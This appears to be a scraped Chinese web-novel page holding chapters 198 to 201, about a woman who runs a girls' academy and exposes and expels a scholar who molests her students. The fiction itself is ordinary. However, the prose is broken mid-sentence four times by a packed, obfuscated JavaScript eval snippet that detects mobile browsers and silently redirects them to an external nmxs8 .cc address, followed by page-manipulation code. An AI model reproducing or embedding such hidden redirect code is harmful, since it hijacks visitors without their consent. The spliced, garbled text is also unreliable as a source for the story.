;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190535|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里休息去了。 院子里的杂草已经清理干净,客厅很亮堂,卧室布置得很温馨。两人脱去外衣,在床上小憩,轻声说着袁家的变化,不多时,姜佑安就闭上眼睛睡着了。 姜佑安做了一个梦,梦里她坐在马车上,要向前赶路,路上堆放着很多尸体,挡住了她的马车,当她到达近旁时,就有人不断地把尸体挪开,给她清路,铺着尸体的路无穷无尽,好像怎么也走不到头,她忘记了自己要去哪儿,只感到深深的恐惧和厌恶。 “佑安,佑安!”姜佑安听到戴庭芳在叫她,猛地睁开了眼睛。 “你做噩梦了吗?”戴庭芳轻声问道。 姜佑安的心被恐惧填满,她紧紧抓着戴庭芳的胳膊,却忘了刚刚做了什么梦,“可能是吧…我不记得了。” 戴庭芳搂着姜佑安,轻轻拍着她的肩膀,轻声安慰道:“没事的,我们已经回来了,战争结束了。” “嗯,结束了。”姜佑安想起自己已经回到了袁家,心里松了一口气,闭上眼睛,又睡了过去。 姜佑安就这样回到了袁家,走时来送她的人,此时纷纷来看她,周通海也来了,听说周帛没回来,他虽然生气,却也没有办法,只能拿着周帛写给他的信和捎给他的物品,默默回去了。 听闻长兴公主回到了女子书院,更多人慕名而来,要把孩子送到女子书院读书,学堂里是着实容纳不下了,趁着小麦还没成熟,袁竹拿着姜佑安带回来的钱,多雇了一些附近的村民,加紧盖房子。 房子盖起来之后,大门外挂上了全新的牌匾,上书“佑安书院”四个大字,邵苏木和一些学生率先搬了过去,授课也都挪到了里面的新学堂里。书院和袁宅的花园相通,方便了老师和学生们去逛园子,穿过园子去袁宅里洗衣服、打水也很方便。 姜佑安对书院的房子做了安排,哪里做学堂,哪里做宿舍,哪里住老师,哪里藏图书,都挂上了牌子,把从京城带回来的书都放进藏书室里之后,她又对学生们的授课做了新安排。 邵苏木是启蒙老师,教识字、书法和算数,纪青薇教诗词歌赋、做文章,戴庭芳教四书五经、状元文集,姜佑安教骑射,辛开元教兵法和拳法,李长风教剑术,郭英教纺织制衣,钟二娘教烹饪菜肴,心柔教舞蹈,袁萱草教绢花,杨恩教木工。 另外还聘请龙世蓉一个月来教授两次古玩鉴赏课,以往崇正书院安排一个月来一次教授史书典籍的老师也被编排在内,教学以文课为主,武课为辅,其他课程自愿报名学习。 学生们见增加了这么多课程,都觉得新奇有趣,就算不能通过科考做女官,也能强身健体,还能学些谋生的手艺,大家都争相报名。 附近村镇的人听说不用花钱就可以学这么多东西,原本犹豫的父母都下定了决心,连一些偏远地方的孩子都被送了过来,住进了书院里。 袁竹带着学生们在书院里种了许多花木,等过些时日,坐在学堂里,住在寝室里,就能看到外面四时有花开。 邵苏木搬去了书院里住,阮荷也要搬回到了她原先的房间里了,姜佑安正和袁竹一起帮她搬着东西,心柔过来找姜佑安。 “姜院长,我考虑好了,舞蹈课我不能教。”心柔说道。 198. 教舞 姜佑安放下手里的东西,把心柔领到了堂屋里,“为什么不能教?” “书院里的文课武课还有制衣做绢花之类的,都是有用的本领,唯独跳舞是供人观看的,对她们以后的生活毫无益处,要是学了跳舞,让男人盯上了,让她们成为了男人的玩物,姜院长你做出的所有努力,不就都白费了吗?”心柔说道。 “原来你是担心这个。”姜佑安在椅子上坐了,指着一旁的椅子对心柔说道:“你也坐吧。” 心柔坐下来,神情有些难过,“我学跳舞是被逼无奈,如今学生们有这么多选择,学跳舞,着实没什么必要。” “可我回来的那天,看你跳舞的时候,你不是挺开心的吗?还是你主动提出要给大家跳来助兴的。”姜佑安说道。 “那天是因为在场的都是姐妹,她们多是欣赏,不会存有龌龊的心思。”心柔说道。 “不说看客的想法,我问的是你,你跳舞的时候,不觉得开心吗?你已经脱离了贱籍,还继续跳舞,难道不是因为喜欢吗?”姜佑安问道。 心柔有些犹豫,“那天我跳舞的时候是开心的,不再给那些男人们跳舞之后,我才发现我是喜欢跳舞的,可是,这些能教给那些孩子们吗?我真的害怕她们学了舞,就要被迫在男人喝酒取乐时为他们跳舞,被他们用下流的目光盯着看。” “如果是强迫,哪怕不会跳舞的也会被逼着扭几下,如果看客心思龌龊,你只是站在那里,也会被下流的目光盯着看,真的落入到那种境地里,会不会跳舞都会被人玩弄,我就会尽力保护我的学生们,不会让她们成为男人的玩物。”姜佑安说道。 心柔眼帘低垂,对于姜佑安能不能保护学生们,她有些怀疑。 “我觉得舞蹈不是只跳给男人看的,也不是为了取悦男人才存在的,你说呢?”姜佑安问道。 心柔心生愤恨,抬起头来回答道:“是,可是有权有势的多是男人,他们根本不把女人当人!” “现在是这样,未来未必如此。我们现在只说跳舞,不说权势。”姜佑安说道。 “怎么能不说权势?姜院长,你忘了去年知县逼着你带着女学生们去跳舞的事了?学生们不会跳舞,还要被他们逼迫,要是全县的人都知道了书院里教跳舞,你想想学生们会被如何议论!那些官员们又会生出什么心思?”心柔生气地说道。 姜佑安并不在意这些,“如果全县的人都知道书院里教跳舞,那他们也该知道书院里教打拳、教骑射还教剑术,我们的学生不是他们可以轻易招惹的。” “教学生们习武是好事,跳舞却不见得是好事。”心柔坚持道。 “去年我们在端午节祭祀典礼上跳的舞,我很喜欢,我觉得很美,很有力量感,用舞蹈和神明对话,我觉得是件好事,学生们也跳得很高兴。教授舞蹈没什么问题,你只要跟学生们讲清楚就好,我们学跳舞,并不是为了取悦男人,为的是用身体表达内心的情感,展示我们的喜悦、悲伤、愤怒或是对神明的崇敬。”姜佑安说道。 “你是说我们只在书院里跳,不跳给外人?”心柔问道。 “祭祀典礼上还可以继续跳,你不是跟我说,去年那些官伎从良之后,马上又有一批新的官伎补了上来吗?我跟你一样为她们忧心,上次知县来,我跟他说起过让官伎脱籍的事,他的态度模棱两可,只说这事需要向上级请示,如果我们的学生能取代官伎在祭祀典礼上献舞,我也好以此去向知县谈判。”姜佑安说道。 心柔听了,若有所思,没有搭话。 姜佑安脸上带着微笑,轻声劝道:“不要去想看客怎么想,我们没有办法改变看客的想法,多想想你私下练舞时,是什么心情,我还记得去年练习跳舞时,觉得那么痛快,那么高兴,大家一起随着鼓声舞动,好像所有人都变成了一个整体,让我非常得激动,我觉得这也是有意义的事。” “既然你这么说,跳舞我可以教,不过教什么舞,你得让我自己决定。”心柔说道。 “当然。”姜佑安点头答应,“我只是觉得跳得开心,想跟大家一起跳着玩儿而已,绝不干涉你的教学。” “好,我会给她们编像去年那样的舞,我以前学的那些,绝不会教给她们。”心柔说道。 “行啊,要是需要帮忙,辛老师、长风还有白凤,都可以帮你。”姜佑安说道。 “嗯,我知道了。”心柔站起身,谢过姜佑安,转身回去了。 等两人聊完,阮荷那边也已经搬完了,袁竹见心柔走了,过来跟姜佑安说道:“小阮搬出来了,你也搬回来住吧。” 姜佑安回椅子上坐了,“我在小院里住着挺好的啊,不搬回来也行。” “这边给你留着房间,你住不住都行,要是你过来只能待在堂屋里,连个避开人歇脚的地方都没有,我怕你觉得外面那个小院才是你家,都不到这边来了。”袁竹微笑着说道。 姜佑安笑了笑,“行,听你的安排。” “你也忙了这些日子了,可以歇歇了吧。”袁竹说道。 “再过两天吧,下午我要去看看徐奶奶,明天我要进城去看看陈爷爷,上次龙世蓉和许家莺过来,忘了把礼物给她们了,正好一块送过去,对了,你不是说要让那些养男孩的女人搬出去吗?什么时候搬?”姜佑安问道。 袁竹有些担心的问道:“你在京城真的没发生什么事吗?我怎么感觉你忙得像停不下来似的。” “没什么啊,京城里那些事我都跟你讲了,可没什么瞒着你的。”姜佑安说道。 “你之前说顶替你去了历国的那个侍女,你不是想把她接回来吗?她怎么没跟你一起回来?是不是她出事了?”袁竹问道。 姜佑安笑了笑,“没有,她现在很安全,我向她道谢也道歉了,她很大度,原谅了我自私的行径,她现在有自己想做的事,所以没跟我回来,不过,她说会过来看我的。” “那就好。”袁竹微微点了点头,“那你是怎么回事?还有什么事放不下?” “没有啊。”姜佑安脸上依旧带着笑,她不想说出来让袁竹白白担心,“书院变大了,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190536|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙的事本来就多,你不也天天在房间里埋头写东西吗?难道你是有什么心事?” “我能有什么心事,就是写写花木栽种的方法而已,本来想让你看看有没有错字,可你忙得跟什么似的,我就让小阮帮我看了。”袁竹说道。 “原来是在忙这个,我明天要去采购纸张,要不要给你也带点儿?”姜佑安笑着问道。 “行啊,你明天坐马车去吧,需要什么都多买点儿,我去给你拿钱。”袁竹说着,回房间取钱去了。 下午袁竹陪姜佑安一起去了徐燕那里,徐燕看到姜佑安回来了,亲热地拉着她说话说了好久的话,姜佑安想要把徐燕接到袁家去,为她养老送终,徐燕很高兴,不过她说自己在这里住惯了,等哪天腿脚不方便了,再到袁家去。 姜佑安也没有勉强,给徐燕留下些粮食和布匹就要离开,徐燕拉着她的手,一定要她去菜园里拔些菜再走,袁竹和姜佑安拗不过她,去菜园里拔了菜,徐燕用麻绳捆好,让她们带回去了。 第二天吃过早饭,姜佑安正准备出门去县里,刚走出院门,就见一辆马车停在了大路上,程祥站在马车旁,戴克政带着一位老人家从马车上走了下来。 戴克政见姜佑安站在院门口,忙上前行礼,“参见公主殿下。” 姜佑安点头还礼,“如今我只是一介平民而已,戴院长不必如此客气。” “草民公孙博参见公主殿下。”公孙博也向姜佑安躬身行礼。 公孙博手上拿着一本书,看起来五十多岁的年纪,头发灰白,面容和蔼,气质儒雅,姜佑安猜测他就是一个月到书院来讲一次课的大儒,于是行礼道:“公孙老师客气了,您称呼我为姜院长就好。” 公孙博微微一笑,“两位院长慢慢聊,我先到书院去了。” “您请便。”姜佑安说道。 目送公孙博走远,姜佑安把戴克政迎到了堂屋里,“戴院长今天怎么还亲自送老师过来?” 戴克政脸上有些愧色,“我听说庭芳回来有些日子了,他和他娘都没有回家去,我也只好冒昧前来打扰了。” “您要见庭芳啊,那就到我们的小院去吧。”姜佑安又把戴克政带出来,领到了小院去,让他们父子团聚。 从小院里出来,姜佑安看到程祥还在马车旁站着,她走了过去,“程祥,今天不去读书吗?怎么会跟着戴院长一起过来?” 程祥快步迎了上来,高兴地笑着答道:“姜院长,我是来看霍静的,她在吗?” “她啊。”姜佑安略有犹豫,“她,她不在,她没回来,留在京城了。” “留在京城了?!”程祥很是震惊,急切地问道:“她怎么会留在京城?她嫁人了?” “没有,朝廷开通了女官考试,她留在京城准备应考。”姜佑安说道。 “哦,是这样。”程祥松了一口气,转念又一想,“那她有没有留信给我?” 姜佑安摇了摇头,“没有。” 程祥很是失落,“口信儿呢?她有没有什么话要跟我说?” 199. 大儒 “没有。”姜佑安答道。 程祥消沉了片刻,又很快振作起来,抬起头来说道:“没关系,我会加倍努力读书,总有一天能走到她的身边去。” “行啊,好好读书,你们都会有出头之日的。”姜佑安说道。 跟程祥道了别,姜佑安去了书院,来叫纪青薇过去一家团聚,路过学堂,她悄悄走了过去,想在窗外听一听公孙博的授课内容,意外地什么都没听见。 她弯下身去,从撑开的窗格缝里看过去,见学生们都低着头在写些什么,公孙博站在后排的一个学生身旁,正弯腰跟她说着什么,距离远,声音轻,姜佑安什么都听不清,她正要起身离去,就见公孙博站在了那个学生身后,俯身贴着她的后背,伸手握住了她握笔的手。 姜佑安顿时血气上涌,跑到学堂门内,冲到公孙博身边,拉开他,照他脸上就是狠狠一巴掌。 “啪!”响亮的巴掌声在学堂内回荡,大家都停了笔,吃惊地看着姜佑安和公孙博。 姜佑安的手劲很大,打得公孙博眼冒金星,鼻孔流血,他踉跄着向后退了一步,差点没站稳,见打他的人是姜佑安,他大怒,“你干什么!” 姜佑安愤怒地瞪着他,“我还想问问你干什么呢!你对我的学生做了什么?” 公孙博揩了揩嘴唇上的鼻血,气得直发抖,“我干什么了?我不过是在指导她的用笔姿势而已,你懂不懂什么是尊师重道?怎么能不分青红皂白就打人?” “我这双眼睛看得一清二楚,你跟我狡辩什么!”姜佑安生气地扬起手,“不承认我就接着打,打到你承认为止!” “你以为仗着自己身份尊贵,就能为所欲为吗?戴院长几次三番来请我,我才勉为其难来这里授课的,他还说我来这里会受到礼遇,我来了,却遭遇这样的暴力对待,我告诉你,你快给我道歉!否则这事没完!”公孙博趾高气扬地说道。 姜佑安懒得跟他废话,扬起手来又要打,一旁的学生赶忙拉住她,“姜院长,我没事,老师真的只是在指导我的用笔姿势。” 姜佑安不敢置信地看着眼前的学生,“你觉得这很正常?” 学生轻轻点了点头。 “你没有觉得不舒服吗?”姜佑安问道。 学生有些犹豫,“纪老师说公孙老师是有名的大儒,他来给我们讲课不容易,让我们好好珍惜。” 姜佑安放下手,看着学堂里众多陌生的面孔,“这个公孙博也会给你们指导握笔姿势吗?” 有许多学生点了点头。 “他指导的时候,都是趴在你们背上,握着你们的手吗?”姜佑安问道。 那些学生们又点了点头。 姜佑安抓起公孙博的衣领,照脸扇了一巴掌,又一巴掌,接着又一巴掌,公孙博想要推开她,却怎么也挣不脱,只好哭着向她求饶。 见公孙博被打得脸颊红肿,牙齿脱落,学生们都觉得害怕,纷纷过来拉住她,“别打了,姜院长,别打了。” “我们没事的,姜院长,他只是摸了手而已,没做什么。” “姜院长你别动怒,我们可以忍受的。” 姜佑安眼睛通红,她把公孙博推到在地上,怒吼了一声,“谁要你们忍受了!” 学堂里瞬间安静了下来。 “你们以为我让辛老师来教你们是为了什么?打拳摔跤是为了什么?为了忍受的吗?我是希望你们面对侵害的时候能用力反击,直接打得他爬不起来!”姜佑安说道。 “可是,他是老师啊。”一个学生小声说道。 “对啊,纪老师和邵老师都说他很厉害,他愿意来教我们,我们应该好好珍惜。”另一个学生附和道。 “让你们好好珍惜的是读书学习的机会,不是让你们珍惜一个道德败坏的老家伙!天底下有学识的人多的是,不差他一个,我再给你们找就是了。”姜佑安说道。 公孙博从地上爬起来,头发蓬乱,脸上衣服上都是泪水和血污,他面对着姜佑安破口大骂:“你这个泼妇,你去哪儿都找不到我这么有才学的老师,你不尊我敬我,你一个壮年妇人,殴打我这个老人家,传出去,你以为还会有人愿意来你这里教书?” 姜佑安转头看向门边的学生:“把门关上,别让他跑了。” 学生听了,忙跑过去关上了门。 公孙博登时变了脸色,连连后退,背抵在墙上,双腿发抖,“你想干什么?你现在只是个庶民,杀人是要偿命的!我这么大的名气,你要是杀了我,我的学生们都不会放过你!戴院长和知县大人也不会放过你!” 姜佑安没有理会他,而是直接走到了学堂的正前方,转过身来,面向所有的学生,“为了让你们学到更多知识,为了让你们能走入更广阔的天地,赶走这个卑鄙无耻的小人之后,我还会请其他男老师来教你们,不过,你们要清楚,我请他们来,是来教书的,不是让他们借机满足个人私欲的,不需要你们委屈自己,留下一个品德败坏的老师,我这里看重学识,但更看重人品。” 学生们睁着懵懂的双眼,看着姜佑安,姜佑安感觉一阵心酸,他们还不明白,看起来儒雅和蔼的老师,内心也可能肮脏不堪,看似亲切的指导,也只是碰触她们身体的借口。 “你们的握笔姿势真的需要纠正吗?邵老师和纪老师纠正过你们吗?她们在纠正握笔姿势的时候,也是这样教你们吗?”姜佑安问道。 学生们眼神中多了些怀疑和气愤。 “纪老师从不会这样。” “邵老师都是亲自示范给我们看,一次不行,就示范很多次。” “是公孙老师不正常,只有他是这样教的。” “公孙老师说邵老师读书少,纪老师常年待在家里,没有见识,他教的才是对的。” 姜佑安听了,怒气更盛,“他还贬低邵老师和纪老师?” “不止如此,他多次跟我们说,他不愿意来教我们,女子无才便是德,教我们经史典籍都没用,男人才应该做学问。”一个学生扬声说道。 姜佑安眉头紧锁,“他还说什么了?” “他说男以强为贵,女以弱为美” “他还说女正位乎内,男正位乎外,天地之大义也。” “他教我们尊卑有序,男尊女卑,女子应做贤妇,辅佐丈夫,教育子女,侍奉舅姑。” “他还说我们应该好好学学三从四德,要安分守己,恪守本分。” 姜佑安深吸了一口气,压抑着胸中的怒火,“你们觉得他说的对吗?” 学堂里沉默了片刻,一个学生轻声说道:“我觉得不对。” “怎么不对,你来说说。”面对学生,姜佑安温和地说道。 学生站起身来说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15195969|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“邵老师和纪老师给我们讲过很多历史上有名的女学者,她们德才兼备,备受赞扬,并没有听说她们有了才学,就会德行有亏,才和德,并不是只能取其一,不能并存的。” 又有一学生站了起来,“公孙老师说女子无才便是德,又嘲讽邵老师读书少,我觉得这不太对,如果公孙老师说得是对的,那他应该赞扬邵老师品德高尚才是,为什么要看不起她?” “只要读书少,就是品德高尚?这也太奇怪了吧,那些不识字的泼皮无赖要怎么解释?”一个学生附和道。 “对啊,这太奇怪了,公孙老师觉得女人应该主内,不应该读书,又嘲笑女人没见识,女人不能轻易出门,也不能多读书,要怎么长见识?”另一个学生附和道。 “他说男女有别,却要摸我的手,这也很奇怪。”又有一个学生附和道。 听到学生们的思考,姜佑安露出了微笑,“你们的想法很对,这个公孙博只是个卑鄙小人,不要以为老师讲的就都是对的,他讲这些,只是为了恐吓你们,让你们觉得女人就是不如男人,女人只能依附于男人。他虽然有一定的学识,但青出于蓝而胜于蓝,只要你们敢于反驳,善于思考,你们也可以胜过你们的老师。” “我们能比老师还厉害?”一个学生问道。 “当然可以,你想想历史上的名人,谁知道他们的老师是谁呢?是他们的成就大,还是他们的老师成就大?正因为他们超越了他们的老师,人的思想才能不断地进步。”姜佑安说道。 “邵老师说朝廷开了女官科举,我们要是比老师厉害了,是不是就可以做官了?”学生问道。 “可以啊,只要你们能通过了考试,就能做官,读书学习、制衣刺绣、习武耍枪这些事,只要你想做,认真去学,谁都能做,不分男女,别听那些男主外女主内的迂腐论调。”姜佑安说道。 学生们听了,兴奋地互相交头接耳。 姜佑安拍了拍桌子,“不过,官场不比书院,要复杂许多,危险许多,不管以后你们做官也好,从商也好,务农也罢,都要好好保护自己,不要害怕做泼妇,不要让男人来评判对错,也不要害怕男人的诋毁,如果觉得委屈,觉得凶险,要记住佑安书院就是你们的退路,只要你们回来,我就会尽力保护你们的安全。” 学生们郑重地点了点头,“知道了。” “身为女人,对身处高位的人一定不能放松警惕,老师、父母、亲戚、上级都有可能心存恶念,他们如果有让你们觉得不舒服的言行,你们无法判断对错,可以悄悄告诉我,还有纪老师、邵老师和袁竹,我们会想办法给你们提供帮助,千万不要自己一个人忍受,哪怕你觉得奇怪的那个人是戴庭芳、辛开元、杨恩或者李长风,也一定要来告诉我,交由我来处理,不要怕破坏我们之间的关系,他们要是做出不当的言行,就不值得我们继续来往下去。”姜佑安说道。 学生们纷纷点头,她们看向姜佑安的眼中有震惊,有钦佩,有信赖,还有向往和憧憬。 姜佑安走到学堂后面,扯着公孙博的胳膊,把他拽到了前面,让他给所有学生道歉,安排了阮荷去找邵老师来上课,又让春花去找一下纪老师,告诉纪老师去小院里找她,她便扯着公孙博走出了学堂。 路过袁家门口时,程祥看到公孙博的惨状,吃惊地跑过来,“公孙老师这是怎么了?” 200. 名声 “程祥!你是我好学生,快救救我吧,我要被这个狠毒的女人打死了!”公孙博抓着程祥的袖子哭诉道。 姜佑安没有停下,扯着公孙博的胳膊继续往前走,回头对程祥说道:“程祥,你也过来。” 程祥一时不知道发生了什么事,只好略微扶着踉跄的公孙博,和两人一起进到了姜佑安的小院里。 堂屋里,戴克政和戴庭芳正在尴尬对坐,没有什么话讲,见有人进了院子,戴庭芳赶忙迎了出去。 看见公孙博红肿肮脏的脸,戴庭芳吓了一跳,“这,这是怎么了?” 戴克政也很震惊,“刚才还好好的,公孙老师,你怎么变成了这个样子?” “你自己说说吧!”姜佑安胳膊用力往前一甩,公孙博摔在院子里的地上。 公孙博赶忙爬起来,拽着戴克政的袖子大哭起来,“戴院长,你可要给我做主啊!我只不过是在指导学生用笔而已,这个泼妇冲过来就打我,把我打成了这个样子,戴院长,我是看在我们多年交情的份上,才来教这些女流之辈的,现在我受到这种侮辱,你可不能不管!” 看到一个年过半百的老人,眼泪混着血水滴在脏污不堪的衣服上,戴克政怒火攻心,训斥道:“姜院长!公孙老师是我们书院最有学识的大儒,多少书院聘他去教书,他都没去,是我三请四请,他念着跟我的交情,才答应到你这里来的,他拖着老迈的身子,怀着一颗赤诚之心来教书,你就这样对待他?不说别的,就算他只是一个普通的老人家,你也不能把他打成这个样子啊!我本来还想看着庭芳的面子上接受你,没想到你竟然如此残暴!我戴家断断不能有你这样的儿媳!” “爹,你先别激动,这其中一定是有什么误会。”戴庭芳安抚了戴克政两句,又走到姜佑安身边轻声问道:“公孙老师是做了什么冒犯你的事吗?” “他冒犯的不是我,是我的学生们,他假借指导用笔姿势的名义,趴在女孩子的后背上,握着女孩子的手。”姜佑安看向戴克政,“我想问问戴院长,这位公孙老师平时在你们书院,也是这样指导学生的吗?” “趴在女孩子背上?”戴克政震惊地看向公孙博,不相信他会做出这样龌龊的事。 姜佑安回头看向程祥,“程祥,你是他的学生,你来说说,这位公孙老师面对男学生的时候,也是这样指导握笔姿势的吗?” “公孙老师只教经史子集,我从没见过他指导学生的用笔姿势。”程祥如实答道。 “戴院长!”公孙博佝偻着身子,紧紧抓着戴克政的衣袖,“我真的只是在指导用笔姿势,我们这么多年的交情了,你一定要相信我啊。” 戴克政低头看着公孙博,眼中满是不解,“公孙兄,男女授受不亲,这样的话,还要我教你吗?你都不屑于指导男学生用笔,为什么对女学生用笔姿势如此在意?你教男学生的时候,不会这样做,那你教女学生的时候,就更不该如此!” “我,我只是觉得孩子可爱,想跟她们亲近亲近而已,除此之外,我真的什么都没做。”公孙博辩解道。 戴克政愤怒地甩开了公孙博的手,“我之所以请你来授课,除了因为你博古通今、满腹经纶,还因为你德高望重,且年近花甲,我想着你怎么也不至于做出什么出格的事,我真是看错你了,你还狡辩说什么想亲近亲近,别人家的女孩子,是你可以亲近的吗?你真是让我不齿!” 公孙博不服气,“戴院长!我不过就是摸了一下学生的手,你怎么说得我像是犯了什么滔天大罪一样!” “你简直不可理喻!”戴克政生气地说道。 公孙博心一横,直起腰来仰头说道:“我根本没做什么,怎么不可理喻了?是你让我来的,你就得对我负责,那个疯女人把我打成这个样子,你必须让她给我道歉,给我赔偿!否则,我就要去官府告她!” 戴克政看着公孙博,觉得他简直像一个从未认识过的人一样陌生,“你做出这样寡廉鲜耻的事来,挨打也是应当的,你愿意告,就告去吧。” 见戴克政完全不向着他说话,公孙博很失望,他向戴克政质问道:“我是看在你的面子上才来的,你怎么能不管我?” “我让你来教书,又没让你去摸学生的手,我管不了你!”戴克政看向姜佑安,微微低头说道:“这事,全凭姜院长处置。” “他是你们书院的人,理应交由戴院长处置,不过,我希望戴院长以后不再聘用他,并向学生们说明,他犯了什么样的错误。”姜佑安说道。 “是,我定当按照姜院长的要求办。”戴克政说道。 “你!”公孙博抬手愤怒地指着姜佑安,“你不但打我,你还要毁了我的名声?你好恶毒!” 姜佑安微微一笑,“你刚刚不是说你没做什么吗?我只是要求戴院长如实把你做的事告诉学生们而已,又不是诬陷,怎么会毁了你的名声?” 公孙博气得瞪大了双眼,却无法反驳,只能继续辱骂姜佑安,戴克政让程祥把公孙博带到马车上去,程祥扶着公孙博往外走,看到纪青薇不知何时已经站在小院的门口。 “夫人,您来找老爷吗?”程祥问道。 纪青薇没有回答,走过去劈头给了公孙博一巴掌,气愤地说道:“竟敢欺负我的学生,你真是该死!” 公孙博惊愕地看着纪青薇,眼泪再也忍不住了,他推开了程祥,躺在地上哭着撒起泼来,“你们都欺负我这个老人家!我是来教书的,不是来受辱的!我屈尊来给一群小屁孩讲书,摸摸手怎么了?你们凭什么打我?我哪里就该死了?该死的是你们,一群泼妇!你们就该一辈子待在后院里,我们男人让你们干什么,你们就得干什么!真是反了天了!女人还想主事?还想读书?你们不配!托生成男人再说吧!” 纪青薇一脸的厌恶,不想再多看他一眼,“程祥,把他带走!” “是。”程祥赶忙把公孙博拉起来,往马车那边拖。 戴克政走到纪青薇身边,从怀里掏出帕子来,给她擦去手上的血污,“夫人要骂就骂,何必亲自动手。” “以后你再找老师来教书,我必须要在里面听着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238284|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”纪青薇生气地说道。 “是,我陪夫人一起听着。”戴克政说道。 纪青薇抓着戴克政的手腕,同他一起走到了姜佑安的面前,向她鞠躬道歉,“姜院长,此事是我们夫妻失察,实在是抱歉。” 戴克政低头附和,“还请姜院长见谅。” 姜佑安扶起纪青薇,“两位不必如此,你们找他过来教书,也是一片好心,事是他犯下的,他一人担责就行,与你们无关。” “我被公孙博道貌岸然的样子欺骗,以为他是一个正人君子,也忽略了对孩子们的教育,让她们被公孙博骚扰还不敢说出来,是我这个做老师的失职。”纪青薇说道。 “纪老师过分自责了,所幸这次没有出什么太严重的事,以后我们严加防范就是了。”姜佑安说道。 “对啊,严加防范就是了,以后我和辛老师也会格外注意的。”戴庭芳说道。 纪青薇心里得到宽慰,这才点了点头。 戴克政向姜佑安拱手行礼,“刚才我一时言语冒犯,还请姜院长不要放在心上。” “戴院长不必在意,我本就不想做你们戴家的儿媳。”姜佑安微笑着说道。 戴克政抬起头来,一脸的尴尬,“我那说的都是气话,你跟庭芳情投意合,我不反对你们在一起。” “真的?爹,你同意我们的婚事了?”戴庭芳欣喜地问道。 “我是同意了,只怕是姜院长不同意。”戴克政说道。 姜佑安笑了笑,“一年不见,戴院长的脾气改了不少啊,我虽不愿做戴家的儿媳,却还想要庭芳做我的夫婿。” 戴克政听了,紧绷的脸这才放松了下来,笑着说道:“那就好,那就好。” “不打扰你们一家团聚了,我还要去一趟县里,你们聊。”姜佑安回屋里洗了手,向院门口走去。 “我跟你一起去。”戴庭芳跟了过去。 姜佑安停下脚步,“戴院长是特意来看你的,你陪他多说说话吧。” “我们父子俩已经聊过了,就让他陪你一起去吧。”戴克政说道。 见他这么说,姜佑安也没再推辞,和戴庭芳一起坐马车去了县里,见过了陈大用,又去见了许家莺和龙世蓉,还去瓷器铺和成衣铺看了看,最后去书铺买了许多纸笔和书回去。 两人回到袁家时正值晌午,纪青薇已经和戴克政一起回家去了。 姜佑安把叫人把书和纸送到书院去,又留了一些纸给袁竹,在袁家吃过饭,她就和戴庭芳一起回小院里休息了。 “累不累?要不要躺下歇会儿?”戴庭芳问道。 “躺会儿吧。”姜佑安脱去外衣和鞋子,上了床,戴庭芳也陪着她一起躺下了。 给姜佑安盖上被子,见她一直睁着双眼看着床顶,戴庭芳把她轻轻拥进怀里,“还在想公孙博的事吗?” 姜佑安摇了摇头,“我相信你父亲会妥善处理的。” “那怎么还不睡?我看你昨天晚上又没有睡好,是不是一睡着就会做噩梦?”戴庭芳轻声问道。 201. 结局 姜佑安把右手从被子里拿出来,她看着自己的手掌,想到了殴打公孙博时,自己满手血污的样子,当时她心里的气愤压倒了一切,手上的血并没有让她产生心悸的感觉。 姜佑安握起拳,像是抓住了什么重要的东西,她喃喃说道:“我是佑安书院的院长,我要保护那些女孩子,我没什么可怕的。” “姜院长英武强悍,定能护住那些学生,我们大家也都会站在你身旁协助你。”戴庭芳微笑着说道。 “谢谢你,戴老师。”姜佑安笑了笑,搂住了戴庭芳的腰,依偎在他胸前,闭上了双眼。 这一觉,姜佑安睡得很踏实,没有再做身处战场的噩梦,醒来后,她感觉心里松快了不少。 傍晚,袁竹过来邀请姜佑安和戴庭芳去她的小院里吃完饭,三人走进院子里,见院子中摆放着一个张方桌和四条长板凳,阮荷、辛开元、杨恩和李长风正往桌子上端着饭菜和碗筷。 辛开元招呼她们过来坐,“菜都好了,快过来吃饭吧。” “今天也不是什么节日,怎么突然要请客?”姜佑安笑着问道。 